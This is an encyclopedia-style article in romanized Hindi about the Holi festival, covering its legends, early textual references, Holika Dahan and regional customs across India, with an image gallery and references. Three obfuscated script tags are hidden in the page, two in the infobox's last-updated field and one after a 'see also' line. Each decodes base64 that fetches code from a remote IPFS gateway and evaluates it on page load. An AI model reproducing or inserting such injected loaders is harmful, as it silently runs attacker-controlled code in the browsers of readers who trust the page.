होली महोत्सव
holi mahotsav
| |
| any nam | dol yatra ya dol poornima (pashchim bangal), kaman podigee (tamilanadu), hola mohalla (panjab), kamana habba (karnatak), phagua (bihar), rangapanchami (maharashtr), shimago (gova), dhuleandi (hariyana), govianda holi (gujarat), yosaang holi (manipur) adi. |
| anuyayi | hindoo, bharatiy, bharatiy pravasi |
| uddeshy | dharmik nishtha, samajik ekata, manoranjan |
| prarambh | pauranik kal |
| tithi | phalgun poornima |
| utsav | rang khelana, hu dadang, mauj-masti |
| anushthan | holika dahan |
| prasiddhi | latthamar holi (barasana) |
| sanbandhit lekh | braj mean holi, holika, holika dahan, krishna, radha, gopi, hiranyakashipu, prahlad, gulal, daooji ka huranga, phalen ki holi, rangabharani ekadashi adi. |
| varsh 2024 | sal 2024 mean holika dahan shubh muhoort 24 march ko rat 11 bajakar 13 minat se der rat 12 bajakar 27 minat tak hai. 25 march ko holi kheli jayegi. |
| adyatan | 16:34, 11 faravari 2024 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
holi bharat ke pramukh char tyoharoan (dipavali, rakshabandhan, holi aur dashahara) mean se ek hai. holi jahaan ek or samajik evan dharmik hai, vahian rangoan ka bhi tyohar hai. aval vriddh, nar- nari sabhi ise b de utsah se manate haian. isamean jatibhed-varnabhed ka koee sthan nahian hai. is avasar par lak diyoan tatha kandoan adi ka dher lagakar holikapoojan kiya jata hai. phir usamean ag lagayi jati hai. poojan ke samay mantr uchcharan kiya jata hai.
itihas
prachalit manyata ke anusar yah tyohar hiranyakashipu ki bahan holika ke mare jane ki smriti mean bhi manaya jata hai. puranoan mean varnit hai ki hiranyakashipu ne apani bahan holika varadan ke prabhav se nity agnisnan karati aur jalati nahian thi hiranyakashipu ne apani bahan holika se prahlad ko god mean lekar agnisnan karane ko kaha. usane samajha ki aisa karane se prahlad agni mean jal jaega tatha holika bach jaegi. holika ne aisa hi kiya, kiantu holika jal gayi, prahlad bach gaye. holika ko yah smaran hi nahian raha ki agni snan vah akele hi kar sakati hai. tabhi se is tyohar ke manane ki pratha chal p di.
arambhik shabdaroop
yah bahut prachin utsav hai. isaka arambhik shabdaroop holaka tha.[1] bharat mean poorvi bhagoan mean yah shabd prachalit tha. jaimini evan shabar ka kathan hai ki hola ka sabhi aryo dvara sampadit hona chahie. kathakagrihy[2] mean ek sootr hai 'raka hola ke', jisaki vyakhya tikakar devapal ne yoan ki hai-'hola ek karm-vishesh hai jo striyoan ke saubhagy ke lie sampadit hota hai, us krity mean raka (poornachandr) devata hai.'[3] any tikakaroan ne isaki vyakhya any roopoan mean ki hai. hola ka un bis kri daoan mean ek hai jo sampoorn bharat mean prachalit haian. isaka ullekh vatsyayan ke kamasootr[4] mean bhi hua hai jisaka arth tikakar jayamangal ne kiya hai. phalgun ki poornima par log shrriang se ek-doosare par rangin jal chho date haian aur sugandhit choorn bikherate haian. hemadri[5] ne brihadyam ka ek shlok udbhrit kiya hai. jisamean holika-poornima ko hutashani (alakaj ki bhaanti) kaha gaya hai. liang puran mean aya hai- 'phalgun poornima ko 'phalgunika' kaha jata hai, yah bal-kri daoan se poorn hai aur logoan ko vibhooti (aishvary) dene vali hai.' varah puran mean aya hai ki yah 'patavas-vilasini' (choorn se yukt kri daoan vali) hai. [6]
holika dahan
- REDIRECTsaancha:mukhy
poorn chandrama (phalgunapoornima) ke din hi praranbh hota hai. is din sayankal ko holi jalaee jati hai. isake ek mah poorv arthath magh poornima ko 'erand' ya goolar vriksh ki tahani ko gaanv ke bahar kisi sthan par ga d diya jata hai, aur us par lak diyaan, sookhe upale, khar-patavar adi charoan se ekatr kiya jata hai aur phalgun poornima ki rat ya sayankal ise jalaya jata hai. paranpara ke anusar sabhi log alav ke charoan or ekatrit hote haian. isi alav ko holi kaha jata hai. holi ki agni mean sookhi pattiyaan, tahaniyaan, v sookhi lak diyaan dali jati haian, tatha log isi agni ke charoan or nrity v sangit ka anand lete haian.
holi aur radha-krishna ki katha
bhagavan shrikrishna to saanvale the, parantu unaki atmik sakhi radha gauravarn ki thi. isalie balkrishna prakriti ke is anyay ki shikayat apani maan yashoda se karate tatha isaka karan janane ka prayatn karate. ek din yashoda ne shrikrishna ko yah sujhav diya ki ve radha ke mukh par vahi rang laga dean, jisaki unhean ichchha ho. natakhat shrikrishna yahi kary karane chal p de. ap chitroan v any bhakti akritiyoan mean shrikrishna ke isi krity ko jisamean ve radha v any gopiyoan par rang dal rahe haian, dekh sakate haian. yah premamayi shararat shighr hi logoan mean prachalit ho gee tatha holi ki paranpara ke roop mean sthapit huee. isi rritu mean log radha v krishna ke chitroan ko sajakar s dakoan par ghoomate haian. mathura ki holi ka vishesh mahattv hai, kyoanki mathura mean hi to krishna ka janm hua tha.
any prantoan mean holi
anandollas se paripoorn evan ashlil gan-nrityoan mean lin log jab any prantoan mean holika ka utsav manate haian tab bangal mean dolayatra ka utsav hota hai. dekhie shoolapanikrit 'dolayatravivek.' yah utsav paanch ya tin dinoan tak chalata hai. poornima ke poorv chaturdashi ko sandhya ke samay mandap ke poorv mean agni ke samman mean ek utsav hota hai. govind ki pratima ka nirman hota hai. ek vedika par 16 khambhoan se yukt mandap mean pratima rakhi jati hai. ise panchamrit se nahalaya jata hai, kee prakar ke krity kiye jate haian, moorti ya pratima ko idhar-udhar sat bar dolaya jata hai. pratham din ki prajvalit agni utsav ke ant tak rakhi jati hai. ant mean pratima 21 bar dolaee ya jhulaee jati hai. aisa aya hai ki indradyumn raja ne vrindavan mean is jhoole ka utsav arambh kiya tha. is utsav ke karane se vyakti sabhi papoan se mukt ho jata hai. shoolapani ne isaki tithi, prahar, nakshatr adi ke vishay mean vivechan kar nishkarsh nikala hai ki dolayatra poornima tithi ki upasthiti mean hi honi chahie, chahe uttaraphalguni nakshatr ho ya n ho. holikotsav ke vishay mean ni. si.[7], smritikaustubh[8] adi nibandhoan mean varnan aya hai.
desh ke kee alag-alag prantoan mean holi ko alag alag namoan se jana jata hai aur b de hi nirale aandajoan mean manaya jata hai. aiye janate hai ki kis prant ka kya hai nirala aandaz holi bharat hi nahian balki pure vishv ke kone kone mean manaee jati hai bas dhang alag hai bharat ke prantoan mean holi ke dhang kya hai aur holi rang kya hai aiye janate haian ki kis prant mean kaise manati hai holi? [9]
aandhr pradesh ki holi
vaise to dakshin bharat mean uttar bharat ki tarah ki rangoan bhari holi nahian manaee jati hai phir bhi sabhi log harshollas mean shamil rahate hai uttar bharat se itar dakshin mean navayuvak sham ko ekatrit ho kar gulal se holi khelate hai aur b doan ka ashirvad lete hai. aandhr pradesh ke banjara janajatiyoan ka holi manane ka apana nirala tarika hai. yah log apane vishisht aandaj mean manoram nrity prastut karate hai.
tamilanadu ki holi
isi prakar tamilanadu mean holi ko kamavilas, kaman pandigaee evan kam - dahan ke nam se jana jata hai, yahaan ke logo ka manana hai ki kamadev ke tir ke karan hi shiv ko parvati se prem hua tha aur bhagavan shiv ka vivah devi parvati se hua tha, magar tir lagane se krodhit shiv ji ne kamadev ko bhasm kar diya tha tab rati ke agrah par devi parvati ne unhean punarjivit kiya aur jis din kamadev punarjivit hue us din ko holi ke roop mean manate hai. isilie tamilanadu mean holi ko kam pandigaee ke nam se jana jata hai. yahaan holi ko prem ke parv ke roop mean manaya jata hai.[9]
uttar pradesh ki holi
uttar pradesh mean holi ka tyohar b de hi harsh aur ullas se manaya jata hai. uttar pradesh ke kone kone mean holi ki dhoom dekhate hi banati hai, holi ke din kya b de aur kya chhote sabhi ko har prakar ke majak bazi ki poorn chhoot hoti hai aur log isaka jamakar lupht bhi uthate haian. chhe d- chha d, chuhal bazi, git sangit yahaan tak ki gali galoj tak ko bhi jayaz mana jata hai, yahaan holi par rang aur gulal ke alava tarah tarah ke vyanjan ka bhi bolabala rahata hai gujhiya, dahi v de, mathari aur in sab se badh kar thandaee aur usake sath bhaang rangoan ke suroor ko doguna kar deti hai, rat ko holika dahan ke bad agale din subah rangoan ke sath gili holi kheli jati hai, aur sham ko abir aur gulal se samaan sarabor hota hai , uttar pradesh mean vrindavan aur mathura ki holi ka apana hi mahattv hai , is tyohar ko kisano dvara phasal katane ke utsav ek roop mean bhi manaya jata hai. gehooan ki baliyoan ko ag mean rakh kar bhoona jata hai aur phir use khate hai , holi ki agni jalane ke pashchat bachi rakh ko rog pratirodhak bhi mana jata hai. in sab ke alava uttar pradesh ke mathura, vrindavan kshetroan ki holi to vishvaprasiddh hai. mathura mean barasane ki holi prasiddh hai. barasana shri radha ji ka gaanv hai jo mathura shahar se qarib 42 kimi andar hai, yahaan ek anokhi holi kheli jati ahi jisaka nam hai latthamar holi barasane mean aisi paranpara haian ki shri krishna ke gaanv nandagaanv ke purush barasane mean ghusane aur radha ji ke mandir mean dhvaj phaharane ki koshish karate hai aur barasane ki mahilaean unhean aisa karane se rokati hai aur dandoan se pitati hai aur agar koee mard pak d jaye to use mahilaoan ki tarah shriangar karana hota hai aur sab ke samukh nrity karana p data hai , phir isake agale din barasane ke purush nandagaanv ja kar vahaan ki mahilaoan par rang dalane ki koshish karate haian, yah holi utsav qarib sat dinoan tak chalata hai. isake alava ek aur ullas bhari holi hoti hai, vo hai vrindavan ki holi yahaan baanke bihari mandir ki holi aur gulal kuand ki holi bahut mahattvapoorn hai vrindavan ki holi mean poora samaan pyar ki khushi se sugandhit ho uthata hai kyoanki aisi manyata hai ki holi par rang khelane ki paranpara shri radhaji v shri krishna ji dvara hi shuroo ki gee thi.[9]
bangal aur u disa ki holi
bangal mean holi ko dol yatra v dol poornima kahate hai aur holi ke din shri radha aur krishna ki pratimaoan ko doli mean baithakar poore shahar mean ghumate hai aur aurate usake age nrity karati hai yah bhi apane ap mean ek anoothi holi hai bangal mean holi ko basant parv kahate hai. isaki shuruat ravindr nath taigor ne shanti niketan mean ki thi. u disa mean bhi holi ko dol poornima kahate hai aur bhagavan jagannath ji ki doli nikali jati hai.
rajasthan ki holi
yahaan mukhyat: tin prakar ki holi hoti hai. mali holi- isamean mali jat ke mard auratoan par pani dalate hai aur badale mean auratean mardoan ki lathiyoan se pitaee karati hai. isake alava godaji ki gair holi aur bikaner ki dolachi holi bhi behad khubasoorat hoti haian. [9]
panjab ki holi
panjab mean holi ko hola mohalla kahate hai aur ise nihang sikh manate hai. is mauke par ghu dasavari, talavarabazi adi ka ayojan hota hai.
hariyana ki holi
hariyana ki holi bhi barasane ki latthamar holi jaisi hi hoti hai. bas farq sirf itana hai ki yahaan devar bhabhi ko rangane ki koshish karate hai aur badale mean bhabhi devar ki lathiyoan se pitaee karati hai. yahaan holi ko dulhandi kahate hai.
dilli valoan ki dilavali holi
dilli ki holi to sabase nirali hai kyoanki rajadhani hone ki vajah se yahaan par sabhi jagah ke log apane dhang holi manate hai jo apasi samarasata aur sauhard ka svaroop hai, vaise dilli mean netao ki holi ki bhi khoob dhoom hoti hai.[9]
karnatak mean holi samaroh
karnatak mean yah tyohar kamana habba ke roop mean manaya jata hai. is din bhagavan shiv ne kamadev ko apane tisare netr se jala diya tha. is din koo da-karakat phate vastr, ek khuli jagah ekatrit kie jate haian tatha inhean agni ko samarpit kiya jata hai. as-pas ke sabhi p dosi is utsav ko dekhane ate haian.
isake alava bihar ki phagua holi, maharashtr ki rangapanchami, gova ki shimago (darasal koankani boli mean holi ko shimago kahate hai ), gujarat ki govianda holi, aur pashchimi poorv ki bihi janajati ki holi ki dhoom bhi nirali hai.
holi chitr vithika
- chitr:Holi-Pichkari.jpg
bazar mean pichakariyaan
- chitr:Holika-Prahlad-1.jpg
prahlad ko god mean bithakar baithi holika
- chitr:Holi-Holika-Dahan-Mathura.jpg
- chitr:Baldev-Holi-Mathura-21.jpg
- chitr:Holi Barsana Mathura 1.jpg
latthamar holi, barasana
- chitr:Holi-1.jpg
bazar mean vibhinn rango ka drishy
- chitr:Krishna Janm Bhumi Holi Mathura 1.jpg
holi, krishna janmabhoomi, mathura
- chitr:Gujia.jpg
gujhiya
- chitr:Krishna Janm Bhumi Holi Mathura 3.jpg
holi, krishna janmabhoomi, mathura
- chitr:Holi-Radha-Krishna.jpg
krishna holi lila
- chitr:Holi.jpg
mahanayak amitabh bachchan aur rekha
- chitr:Holi-14.jpg
- chitr:Holi-3.jpg
- chitr:Holi-8.jpg
- chitr:Holi-11.jpg
- chitr:Holi-10.jpg
- chitr:Holi-4.jpg
- chitr:Holi-15.jpg
- chitr:Holi-9.jpg
- chitr:Holi-16.jpg
- chitr:Holi-Barsana-Mathura-13.jpg
- chitr:Holi-Mathura-4.JPG
- chitr:Lathmar-Holi-Barsana-Mathura-19.jpg
- chitr:Holi Barsana Mathura 4.jpg
- chitr:Baldev-Holi-Mathura-21.jpg
- chitr:Baldev-Holi-Mathura-28.jpg
- chitr:Holi-Holigate-Mathura-12.jpg
- chitr:Holi-Barsana-Mathura-3.jpg
- chitr:Holi Phalen Mathura.jpg
- chitr:Holi-Holigate-Mathura-16.jpg
- chitr:Baldev-Holi-Mathura-32.jpg
- chitr:Holi-Holigate-Mathura-3.jpg
- chitr:Holika Statue Mathura.jpg
- chitr:Krishna Janm Bhumi Holi Mathura 13.jpg
- chitr:Holi-2.jpg
- chitr:Holi-6.jpg
- chitr:Holi-7.jpg
- chitr:Holi-12.jpg
- chitr:Holi-13.jpg
- chitr:Holi-18.jpg
- chitr:Holi-Barsana-5.JPG
- REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
holi vidiyo
upayogi bahari vebasait evan k diyaan
holi par filmaye prasiddh git
tika tippani aur sandarbh
- ↑ jaimini, 1.3.15-16
- ↑ 73,1
- ↑ raka holake. kathakagrihy (73.1). is par devapal ki tikayoan hai: 'hola karmavishesh: saubhagyay strinaan prataranushthiyate. tatr hola ke raka devata. yaste rake subhatay ityadi.'
- ↑ kamasootr, 1.4.42
- ↑ kal, pri. 106
- ↑ liangapurane. phalgune paurnamasi ch sada balavikasini. jneya phalgunika sa ch jneya lokarvibhootaye.. varahapurane. phalgune paurnimasyaan tu patavasavilasini. jneya sa phalguni loke karya lokasamriddhaye॥ he. (kal, pri. 642). isamean pratham ka.vi. (pri. 352) mean bhi aya hai jisaka arth is prakar hai-balavajjanavilasinyamityarth:
- ↑ ni. si., pri. 227
- ↑ smritikaustubh, pri. 516-519), pri. chi. (pri. 308-319
- ↑ 9.0 9.1 9.2 9.3 9.4 har jagah holi sirf holi hai (hindi) (ech.ti.em.el) visfot.com. abhigaman tithi: 10 march, 2011.
bahari k diyaan
sanbandhit lekh